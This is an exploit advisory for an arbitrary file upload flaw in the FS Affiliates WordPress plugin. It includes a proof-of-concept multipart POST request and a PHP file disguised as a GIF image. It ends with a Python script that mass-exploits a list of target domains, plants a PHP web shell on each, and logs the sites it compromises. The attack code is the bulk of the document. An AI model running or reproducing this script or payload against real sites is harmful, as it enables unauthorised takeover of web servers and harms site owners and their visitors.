####### [UnM@SK Security Advisory] #######
[#] Title: WordPress Plugin FS Affiliates 5.6 - Unrestricted Arbitrary File Upload
[#] Author: UnM@SK
[#] Date: 2026-01-23
[#] Plugin Name: FS Affiliates (folder: affs)
[#] Plugin Version: 5.6 (and possibly below)
[#] Vulnerability Type: Arbitrary File Upload / Remote Code Execution (RCE)
[#] Tested on: WordPress 6.x
--- [ DESCRIPTION ] ---
The plugin FS Affiliates for WordPress fails to properly validate file types and permissions in its AJAX file upload handler. An attacker can upload a malicious PHP script disguised with image magic bytes, leading to full server compromise (RCE).
--- [ PROOF OF CONCEPT ] ---
1. Prepare a file named "uploader.php" with the following content:
GIF89a
<?php echo "Pwned by UnM@SK"; phpinfo(); ?>
2. Send the following POST request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXMP3iUnCATDwy4ls
------WebKitFormBoundaryXMP3iUnCATDwy4ls
Content-Disposition: form-data; name="action"
fs_affiliates_file_upload
------WebKitFormBoundaryXMP3iUnCATDwy4ls
Content-Disposition: form-data; name="key"
fs_affiliates_file_upload_76
------WebKitFormBoundaryXMP3iUnCATDwy4ls
Content-Disposition: form-data; name="fs_affiliates_file_upload_76"; filename="uploader.php"
Content-Type: image/jpeg
[PAYLOAD_HERE]
------WebKitFormBoundaryXMP3iUnCATDwy4ls--
--- [ SHELL ACCESS ] ---
Successfully uploaded files can be accessed at:
http://[TARGET]/wp-content/uploads/fs-files/uploader.php
--- [ GREETZ ] ---
IdiotCrew - L4663R666H05T
#auto Exploit Input site list.txt no http/https in list and start python3 up.py
import requests
import urllib3
# Mematikan peringatan SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# --- KONFIGURASI ---
TARGETS_FILE = 'list.txt'
OUTPUT_FILE = 'output.txt'
FILENAME = 'uploader.php'
# PHP Uploader Payload (dengan Header GIF89a untuk Bypass)
SHELL_PAYLOAD = '''GIF89a
<?php
echo "<b>[ Uploader Shell Loaded ]</b><br><br>";
if(isset($_FILES['file'])){
if(move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])){
echo "<font color='green'>Upload Success:</font> ".$_FILES['file']['name'];
} else {
echo "<font color='red'>Upload Failed!</font>";
}
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload Now">
</form>
'''
def pwn(domain):
domain = domain.strip().replace('http://', '').replace('https://', '').rstrip('/')
if not domain: return
# Coba kedua protokol
for proto in ['https://', 'http://']:
base_url = f"{proto}{domain}"
ajax_url = f"{base_url}/wp-admin/admin-ajax.php"
shell_url = f"{base_url}/wp-content/uploads/fs-files/{FILENAME}"
print(f"[*] Targeting: {base_url}")
data = {
'action': 'fs_affiliates_file_upload',
'key': 'fs_affiliates_file_upload_76'
}
files = {
'fs_affiliates_file_upload_76': (FILENAME, SHELL_PAYLOAD, 'image/jpeg')
}
try:
# Kirim Shell
requests.post(ajax_url, data=data, files=files, timeout=12, verify=False)
# Verifikasi Shell
check = requests.get(shell_url, timeout=12, verify=False)
if check.status_code == 200 and "Uploader Shell Loaded" in check.text:
result = f"[+] PWNED: {shell_url}"
print(result)
with open(OUTPUT_FILE, 'a') as f:
f.write(result + '\n')
return # Stop jika sudah sukses di domain ini
else:
print(f" [-] Shell not found on {proto}")
except:
continue
def main():
try:
with open(TARGETS_FILE, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] Running exploit on {len(targets)} targets...")
for target in targets:
pwn(target)
print(f"\n[*] Finished. Results saved in {OUTPUT_FILE}")
except FileNotFoundError:
print(f"Error: {TARGETS_FILE} not found!")
if __name__ == "__main__":
main()
##########################################